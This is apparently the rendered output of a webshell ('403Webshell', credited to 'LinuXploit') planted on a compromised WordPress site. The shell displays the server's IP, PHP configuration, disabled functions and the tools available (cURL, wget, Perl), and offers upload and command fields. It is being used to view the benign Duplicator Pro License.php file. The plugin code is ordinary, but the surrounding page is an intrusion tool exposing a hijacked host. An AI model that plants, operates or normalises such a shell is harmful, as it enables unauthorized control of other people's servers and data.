403Webshell
Server IP : 89.39.208.18  /  Your IP : 216.73.217.74
Web Server : LiteSpeed
System :
User :  ( )
PHP Version : 7.4.33
Disable Function : eval,./,ln,passthru,dl,system,exec,popen,shell_exec,posix_getpwuid,posix_uname,ftp_exec,posix_uname,posix_getpwuid,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,get_current_user,getmyuid,getmygid,listen,chgrp,apache_note,apache_setenv,apache_child_terminate,closelog,debugger_off,debugge_on,ini_restore,netscript,escapeshellarg,cmd,backtick,virtual,show_sourc,show_source,pclose,pcntl_exec,datasec,old_offset,ctrl_dir,ini_alter,leak,listen,chgrp,apache_setenv,define_syslog_variables,root,diskfreespace,disk_free_space,disk_total_space,posix_kill,getmyuid,getmygid,apache_child_terminate,php_ini_scanned_files,ls,ps_aux,chown,getrusage,posixc,posame,chgrp,posix_setuid,posix_setsid,posix_setgid,apache_note,apache_setenv,x_getuid,e_ini_file,nfo,SQL,mysql_li,t_dbs,filegroup,highlight_file,ilegetcontents,get_dir,popen,popens,pfsockopen,dos_conv,apache_get_modules,crack_check,crack_closedict,rar_open,bzopen,bzread,bzwrite,shellcode,posix_isatty,posix_getservbyname,escapeshellarg,hypot,pg_host,pos,posix_access,inurl,posix_times,posix_mknod,pclose,ps_fill,symlink,id,escapeshellcmd,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home3/./mahyarcake/www/wp-content/plugins/duplicator-pro/addons/probase/src/License/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home3/./mahyarcake/www/wp-content/plugins/duplicator-pro/addons/probase/src/License/License.php
<?php

/**
 *
 * @package   Duplicator
 * @copyright (c) 2022, Snap Creek LLC
 */

namespace Duplicator\Addons\ProBase\License;

use Duplicator\Addons\ProBase\Vendor\EDD\EDD_SL_Plugin_Updater;
use DUP_PRO_Schedule_Entity;
use Duplicator\Addons\ProBase\DrmHandler;
use Duplicator\Addons\ProBase\Models\LicenseData;
use Duplicator\Core\CapMng;
use Duplicator\Installer\Addons\ProBase\AbstractLicense;
use Duplicator\Utils\ExpireOptions;

final class License extends AbstractLicense
{
    /**
     * GENERAL SETTINGS
     */
    const EDD_DUPPRO_STORE_URL            = 'https://duplicator.com';
    const EDD_DUPPRO_ITEM_NAME            = 'Duplicator Pro';
    const FRONTEND_CHECK_DELAY            = 61; // Seconds, different fromgeneral frontend check to unsync
    const FRONTEND_CHECK_DELAY_OPTION_KEY = 'license_check';

    const VISIBILITY_INFO = 0;
    const VISIBILITY_ALL  = 1;
    const VISIBILITY_NONE = 2;


    /** @var ?EDD_SL_Plugin_Updater */
    private static $edd_updater = null;

    /**
     * License check
     *
     * @return void
     */
    public static function check()
    {
        if (
            !is_admin() &&
            ExpireOptions::getUpdate(
                self::FRONTEND_CHECK_DELAY_OPTION_KEY,
                true,
                self::FRONTEND_CHECK_DELAY
            ) !== false
        ) {
            return;
        }

        if (
            in_array(
                LicenseData::getInstance()->getStatus(),
                [
                    LicenseData::STATUS_INVALID,
                    LicenseData::STATUS_UNKNOWN,
                ]
            )
        ) {
            return;
        }

        self::initEddUpdater();
    }

    /**
     * Return true if license have the capability
     *
     * @param int  $capability capability key
     * @param ?int $license    ENUM license type, if null Get currnt licnse type
     *
     * @return bool
     */
    public static function can($capability, $license = null)
    {
        if (is_null($license)) {
            $license = static::getType();
        }

        switch ($capability) {
            case self::CAPABILITY_SCHEDULE:
                if ($license > 0) {
                    return true;
                }
                if (count(DUP_PRO_Schedule_Entity::get_active()) > 0 && DrmHandler::getDaysTillDRM() > 0) {
                    return true;
                }
                return false;
            default:
                return parent::can($capability, $license);
        }
    }

    /**
     * Force upgrade check
     *
     * @return void
     */
    public static function forceUpgradeCheck()
    {
        if (
            in_array(
                LicenseData::getInstance()->getStatus(),
                [
                    LicenseData::STATUS_INVALID,
                    LicenseData::STATUS_UNKNOWN,
                ]
            )
        ) {
            return;
        }

        self::clearVersionCache();
    }

    /**
     * Return latest version of the plugin
     *
     * @return string|false
     */
    public static function getLatestVersion()
    {
        $version_info = null;
        $edd_updater  = self::getEddUpdater();

        /** @var false|object */
        $version_info = $edd_updater->get_cached_version_info();

        if (is_object($version_info) && isset($version_info->new_version)) {
            return $version_info->new_version;
        } else {
            return false;
        }
    }

    /**
     * Clear version cache
     *
     * @return void
     */
    public static function clearVersionCache()
    {
        LicenseData::getInstance()->clearCache();
        self::getEddUpdater()->set_version_info_cache(false);
    }

    /**
     * Return license key
     *
     * @return string
     */
    public static function getLicenseKey()
    {
        return LicenseData::getInstance()->getKey();
    }

    /**
     * Get license status
     *
     * @return int
     */
    public static function getLicenseStatus()
    {
        return LicenseData::getInstance()->getStatus();
    }

    /**
     * Return license type
     *
     * @return int ENUM AbstractLicense::TYPE_*
     */
    public static function getType()
    {
        return (
            LicenseData::getInstance()->getStatus() == LicenseData::STATUS_VALID ?
                LicenseData::getInstance()->getLicenseType() :
                self::TYPE_UNLICENSED
            );
    }

    /**
     * Initialize the EDD Updater
     *
     * @return void
     */
    private static function initEddUpdater()
    {
        if (self::$edd_updater !== null) {
            return;
        }

        $dpro_edd_opts = array(
            'version'     => DUPLICATOR_PRO_VERSION,
            'license'     => self::getLicenseKey(),
            'item_name'   => self::EDD_DUPPRO_ITEM_NAME,
            'author'      => 'Snap Creek Software',
            'wp_override' => true,
        );

        self::$edd_updater = new EDD_SL_Plugin_Updater(
            self::EDD_DUPPRO_STORE_URL,
            DUPLICATOR____FILE,
            $dpro_edd_opts
        );
    }

    /**
     * Accessor that returns the EDD Updater singleton
     *
     * @return EDD_SL_Plugin_Updater
     */
    private static function getEddUpdater()
    {
        if (self::$edd_updater === null) {
            self::initEddUpdater();
        }

        return self::$edd_updater;
    }

    /**
     * Return upsell URL
     *
     * @return string
     */
    public static function getUpsellURL()
    {
        return DUPLICATOR_PRO_BLOG_URL . 'my-account/';
    }

    /**
     * Return EDD license upgrade checkout page URL
     *
     * @return string
     */
    public static function getLicenseCheckoutURL()
    {
        if (
            !CapMng::can(CapMng::CAP_LICENSE, false) ||
            empty(self::getLicenseKey())
        ) {
            return DUPLICATOR_PRO_BLOG_URL . 'my-account/';
        } else {
            return DUPLICATOR_PRO_BLOG_URL . 'checkout?edd_license_key=' . self::getLicenseKey();
        }
    }

    /**
     * Return no activation left message
     *
     * @return string
     */
    public static function getNoActivationLeftMessage()
    {
        if (self::isUnlimited()) {
            $result  = sprintf(__('%1$s site licenses are granted in batches of 500.', 'duplicator-pro'), License::getLicenseToString());
            $result .= ' ';
            $result .= sprintf(
                _x(
                    'Please submit a %1$sticket request%2$s and we will grant you another batch.',
                    '%1$s and %2$s represents the opening and closing HTML tags for an anchor or link',
                    'duplicator-pro'
                ),
                '<a href="' . DUPLICATOR_PRO_BLOG_URL . 'my-account/support/" target="_blank">',
                '</a>'
            );
            $result .= '<br>';
            $result .= __('This process helps to ensure that licenses are not stolen or abused for users.', 'duplicator-pro');
            return $result;
        } else {
            return __(
                'Use the link above to login to your duplicator.com dashboard to manage your licenses or upgrade to a higher license.',
                'duplicator-pro'
            );
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit